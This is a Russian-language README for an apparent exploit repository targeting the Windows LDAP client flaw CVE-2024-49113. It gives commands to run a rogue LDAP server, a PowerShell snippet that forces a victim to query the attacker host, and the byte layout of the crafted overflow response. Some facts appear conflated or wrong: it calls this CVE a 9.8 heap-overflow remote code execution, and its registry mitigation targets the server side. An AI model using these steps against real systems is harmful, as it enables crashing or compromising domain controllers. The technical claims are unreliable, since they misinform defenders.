
Воспроизведение cve-2024-49113-ldap_nightmare_reproduction
| Поле | Значение |
|---|
| CVE | CVE-2024-49113 |
| Псевдоним | LDAP Nightmare |
| CVSS 3.1 | 9.8 — КРИТИЧЕСКИЙ |
| CWE | CWE-122 — переполнение буфера в куче |
| Обнаружено | SafeBreach (опубликован PoC в январе 2025) |
| Эксплуатация | Подтверждена активная эксплуатация в дикой природе |
| Патч | Обновления безопасности Microsoft от декабря 2024 года (KB5048685 / KB5048652) |
CVE-2024-49113 — это критическая уязвимость переполнения буфера в куче в клиентской библиотеке LDAP Windows (wldap32.dll). Неаутентифицированный удаленный злоумышленник может вызвать уязвимость, отправив специально сформированный LDAP-ответ на машину Windows, которая выполняет LDAP-запрос (например, контроллер домена, выполняющий поиск в каталоге).
Поскольку контроллеры домена Windows регулярно отправляют LDAP-запросы другим контроллерам домена, рядовым серверам и серверам глобального каталога, эта уязвимость особенно опасна в средах Active Directory. Успешная эксплуатация приводит к удаленному выполнению кода с правами системной учетной записи Local System (на контроллерах домена), что дает злоумышленнику полный контроль над целевым сервером.
Публичный proof-of-concept (названный «LDAP Nightmare») был выпущен SafeBreach в январе 2025 года после того, как Microsoft выпустила исправления в рамках Patch Tuesday за декабрь 2024 года.
Уязвимость находится в wldap32.dll — реализации клиента Lightweight Directory Access Protocol (LDAP) в Windows, определенного в RFC 4511.
Когда LDAP-клиент получает ответ Search Result Entry (запись результатов поиска), библиотека разбирает Protocol Data Units (PDU) сообщения LDAP в цикле декодера BER (Basic Encoding Rules). Ошибка в логике выделения памяти в куче при разборе атрибутов LDAP приводит к тому, что декодер записывает данные за пределы выделенного в куче буфера.
В частности:
Все поддерживаемые выпуски Windows Server и Windows Client уязвимы до обновлений безопасности от 10 декабря 2024 года:
Обновления Patch Tuesday за декабрь 2024 года, устраняющие эту CVE:
┌──────────────────┐ LDAP Query ┌─────────────────────┐
│ Victim Host │ ──────────────────────────▶ │ Attacker LDAP │
│ (Windows DC) │ │ Server (This PoC) │
│ │ ◀────────────────────────── │ │
│ wldap32.dll │ Crafted LDAP Response │ exploit.py │
│ overflowed │ (heap overflow payload) │ port 389 │
└──────────────────┘ └─────────────────────┘
На стороне жертвы проверьте установленные обновления:
Get-HotFix | Where-Object { $_.HotFixID -match "KB5048685|KB5048652" }
Если результаты не возвращены, система не пропатчена и уязвима.
На машине атакующего запустите этот PoC:
python exploit.py --listen-ip 192.168.1.100 --listen-port 389
Где 192.168.1.100 — IP-адрес атакующего.
Примечание: В Linux привязка к порту 389 требует прав root (sudo). В Windows могут потребоваться права администратора.
На машине жертвы (PowerShell, от имени администратора):
# Принудительно выполнить LDAP-поиск против сервера атакующего
$ldapPath = "LDAP://192.168.1.100/DC=evil,DC=local"
$searcher = New-Object DirectoryServices.DirectorySearcher($ldapPath)
$searcher.Filter = "(objectClass=*)"
$searcher.SearchRoot = $null
try {
$results = $searcher.FindAll()
} catch {
Write-Host "Connection attempted — check the PoC server for crash details"
}
Альтернативно используйте ldp.exe (входит в состав Windows Server / RSAT):
DC=evil,DC=local[*] Sending malicious search result entry... и отправит специально сформированный ответ.lsass.exe на стороне жертвы или процесс LDAP-клиента завершится с ошибкой доступа (0xC0000005), либо система может уйти в BSOD.Предоставлен Dockerfile для запуска PoC в изолированной среде:
docker build -t ldap-nightmare .
docker run --rm -p 389:389 --cap-add=NET_ADMIN ldap-nightmare
Включенный exploit.py реализует:
--listen-ip, --listen-port, --payload-size).| Смещение | Поле | Значение |
|---|---|---|
| 0x00 | Тег сообщения LDAP (0x30) | Последовательность |
| 0x01–0x02 | Общая длина (сформированная) | Большое значение вызывает переполнение |
| 0x03 | ProtocolOp (0x64) | Search Result Entry |
| 0x04–0x0E | Поля результата LDAP | Стандартный заголовок |
| 0x0F+ | Список атрибутов | Триггер переполнения (length = 0xFFFF) |
# Запуск вредоносного сервера
sudo python exploit.py --listen-ip 0.0.0.0 --listen-port 389
# В другом терминале наблюдайте за подключениями
tcpdump -i any port 389 -X
Установите обновления Patch Tuesday от 10 декабря 2024 года:
Если патч невозможно применить немедленно:
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\NTDS\Parameters" `
-Name "LDAPServerIntegrity" -Value 2 -Type DWord
Restart-Service NTDS
wevtutil qe "Windows PowerShell" /f:text /q:"*[System[EventID=1000]]"
| Источник | URL |
|---|---|
| Microsoft Security Response Center | MSRC CVE-2024-49113 |
| SafeBreach (первоначальное обнаружение) | SafeBreach Blog — LDAP Nightmare |
| NVD | NVD CVE-2024-49113 |
| CWE-122 | Переполнение буфера в куче |
| RFC 4511 | Протокол LDAPv3 |
| Patch Tuesday, декабрь 2024 года | Примечания к выпуску Microsoft |
Данный материал предоставлен исключительно в образовательных целях и для авторизованного тестирования безопасности. Несанкционированная эксплуатация CVE-2024-49113 в отношении систем без явного разрешения незаконна. Авторы не несут ответственности за любое неправомерное использование этой информации. Всегда получайте письменное разрешение перед тестированием любой системы.